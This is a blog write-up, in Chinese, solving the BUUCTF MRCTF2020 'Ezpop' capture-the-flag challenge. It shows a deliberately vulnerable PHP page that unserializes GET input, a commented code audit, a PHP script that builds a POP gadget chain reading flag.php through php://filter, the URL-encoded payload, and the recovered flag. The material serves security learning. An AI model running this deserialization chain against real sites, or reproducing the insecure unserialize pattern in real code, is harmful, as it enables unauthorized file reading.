BUUCTF-[MRCTF2020]Ezpop

原创

qwsn 于 2020-11-19 13:09:17 发布 578 收藏 3

分类专栏： # 3.PHP反序列化 文章标签： php反序列化

qwsn

0x01、Web

1.BUUCTF-[MRCTF2020]Ezpop

第一步：开启题目环境

图略

第二步：访问链接，发现一段php代码

```
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}
```

第三步：进行代码审计

```
__invoke()魔术方法：在类的对象被调用为函数时候，自动被调用
__toString()魔术方法：在类的对象被当作字符串操作的时候，自动被调用
__wakeup()魔术方法，在类的对象反序列化的时候，自动被调用
__construct()构造方法：在类的对象实例化之前，自动被调用
__get()魔术方法：从不可访问的属性中读取数据会触发
```

```
Welcome to index.php
<?php
//flag is in flag.php         //提示：flag在flag.php文件内，猜测是当前网站根目录下的flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!

class Modifier {          //类，Modifier
    protected  $var;         //保护属性，$var
    public function append($value){      //自定义方法，append($value)
        include($value);        //文件包含参数$value，猜测这里可以利用文件包含读取flag.php的内容
    }
    public function __invoke(){       //__invoke()魔术方法：在类的对象被调用为函数时候，自动被调用
        $this->append($this->var);      //把保护属性$var传入自定义方法append($value)，执行一次
    }
}
//很明显：
//这里我们要想执行文件包含flag.php，那么就要调用append($value)方法
//这里我们要想调用append($value)方法，那么就需要调用__invoke()魔术方法
//这里我们要想调用__invoke()，那么就需要将Modifier类的对象调用为函数
//这里，我们会发现$var属性的值传给了$value参数，所以要想包含flag.php的源码，就需要给$var传入php://filter.....
....[省略]

class Show{            //类，Show
    public $source;                   //公有属性，$source
    public $str;          //公有属性，$str
    public function __construct($file='index.php'){  //公有构造方法，在类的对象实例化之前，自动被调用
        $this->source = $file;       //给$this->source属性赋值$file
        echo 'Welcome to '.$this->source."<br>";  //打印字符串
    }
    public function __toString(){      //__toString()魔术方法，在类的对象被当作字符串操作的时候，自动被调用
        return $this->str->source;      //返回，str属性值的source属性
    }

    public function __wakeup(){       //__wakeup()魔术方法，在类的对象反序列化的时候，自动被调用
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { //正则匹配source属性的值
            echo "hacker";
            $this->source = "index.php";    //source属性赋值为index.php
        }
    }
}
//很明显：
//__toString()魔术方法，有以下特征“$this->str->source”
//所以说，我们可以给str属性赋值为Test类的对象，那么由于该对象没有source属性，那么就会调用Test类的__get()魔术方法
//那么想要调用__toString魔术方法，就需要Show类的对象被当作字符串操作
//很明显，我们的__wakeup()魔术方法，里面有source属性被当作字符串去比较，所以我们可以给source属性赋值为Show属性的对象
//所以只要，我们可以利用反序列化，调用__wake()魔术方法，且source赋值为该类的对象，str属性赋值为Test类的对象即可

class Test{            //类，Test
    public $p;           //公有属性，$p
    public function __construct(){      //公有构造方法，在类的对象实例化之前，自动被调用
        $this->p = array();        //属性$p初始化为数组
    }
```

```
    }

    public function __get($key){      //__get()魔术方法，访问该类中不可访问的属性，自动被调用
        $function = $this->p;        //属性$this->p赋值给$function
        return $function();         //把$function调用为$function()函数
    }
}
//很明显：
//这里的属性$p可以触发，__invoke()魔术方法，所以只要给$p赋值为Modifier类的对象即可


if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}
```

第四步：编写payload

```
unserialize()-->__wakeup()-->toString()-->__get()-->__invoke()-->append()-->include()
```

```php
<?php
//flag is in flag.php
class Modifier {
    protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
    public $source;
    public $str;

    public function __construct($file){
        $this->source = $file;
    }
    public function __toString(){
        return " ";
    }
}

class Test{
    public $p;
}

$chen = new Show('chen');
$chen->str = new Test();
$chen->str->p = new Modifier();
$test = new Show($chen);  //由于$source属性必须是，Show类的对象
echo urlencode(serialize($test));
//O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A4%3A
%22chen%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs
%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%
22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

//POP链：
//首先反序列化函数，触发Show类中的wakeup方法，wakeup方法做字符串处理，触发tosring方法，
//如果将str实例化为Test，因为Test类中不含source属性，所以调用get方法，利用p将Modifier类的对象调用为函数时候
//即可触发其中invoke方法，最终调用文件包含函数，读取flag.php
//__wakeup()-->__toString()-->__get()-->__invoke
```

```
payload：
?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A4
%3A%22chen%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%
7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.p
hp%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
```

```
flag: flag{896f3cd7-6900-4469-8293-f1c24aa4d300}
解码前：
PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFnezg5NmYzY2Q3LTY5MDAtNDQ2OS04MjkzLWYxYzI0YWE0ZDMwMH0iOwp9
CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+

解码后：
class Flag{
    private $flag= "flag{896f3cd7-6900-4469-8293-f1c24aa4d300}";
}
echo "Help Me Find FLAG!";
```

2.总结

```
//__wakeup()-->__toString()-->__get()-->__invoke

__invoke()魔术方法：在类的对象被调用为函数时候，自动被调用
__toString()魔术方法：在类的对象被当作字符串操作的时候，自动被调用
__wakeup()魔术方法，在类的对象反序列化的时候，自动被调用
__construct()构造方法：在类的对象实例化之前，自动被调用
__get()魔术方法：从不可访问的属性中读取数据会触发
```